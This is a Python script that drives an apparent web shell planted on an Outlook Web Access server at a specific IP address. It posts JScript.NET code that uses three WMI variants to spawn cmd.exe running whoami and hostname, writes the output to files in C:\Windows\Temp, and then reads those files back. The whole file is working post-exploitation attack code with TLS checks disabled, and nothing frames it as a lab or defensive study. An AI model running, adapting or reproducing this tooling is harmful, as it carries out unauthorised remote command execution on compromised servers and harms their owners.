#!/usr/bin/env python3
import requests, time
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=60)
        return r.text.split('!BD')[0][:400]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:120]}"

variants = {
 "wmi_SWbemLocator": ("try{var loc=new ActiveXObject('WbemScripting.SWbemLocator');"
   "var svc=loc.ConnectServer('.','root\\\\cimv2');var cls=svc.Get('Win32_Process');"
   "var p=cls.SpawnInstance_();p.CommandLine='cmd.exe /c whoami & hostname > C:\\\\Windows\\\\Temp\\\\o7.txt 2>&1';"
   "var out=cls.Create(p);Response.Write('RC='+out.ReturnValue);}catch(e){Response.Write('ERR:'+e.message);}"),
 "wmi_ExecMethod": ("try{var loc=new ActiveXObject('WbemScripting.SWbemLocator');"
   "var svc=loc.ConnectServer('.','root\\\\cimv2');var cls=svc.Get('Win32_Process');"
   "var p=cls.SpawnInstance_();p.CommandLine='cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\o8.txt 2>&1';"
   "var out=cls.ExecMethod_('Create',p);Response.Write('RC2='+out.ReturnValue);}catch(e){Response.Write('ERR2:'+e.message);}"),
 "wmi_moniker": ("try{var svc=GetObject('winmgmts:root\\\\cimv2');var cls=svc.Get('Win32_Process');"
   "var p=cls.SpawnInstance_();p.CommandLine='cmd.exe /c hostname > C:\\\\Windows\\\\Temp\\\\o9.txt 2>&1';"
   "var out=cls.Create(p);Response.Write('RC3='+out.ReturnValue);}catch(e){Response.Write('ERR3:'+e.message);}"),
}
for k, c in variants.items():
    print(f"[{k}]", repr(ev(c)), flush=True)
    time.sleep(1)
time.sleep(12)
rd = 'Response.Write("O7:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\o7.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\o7.txt"):"none")+"|O8:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\o8.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\o8.txt"):"none"));'
print("[read]", repr(ev(rd)), flush=True)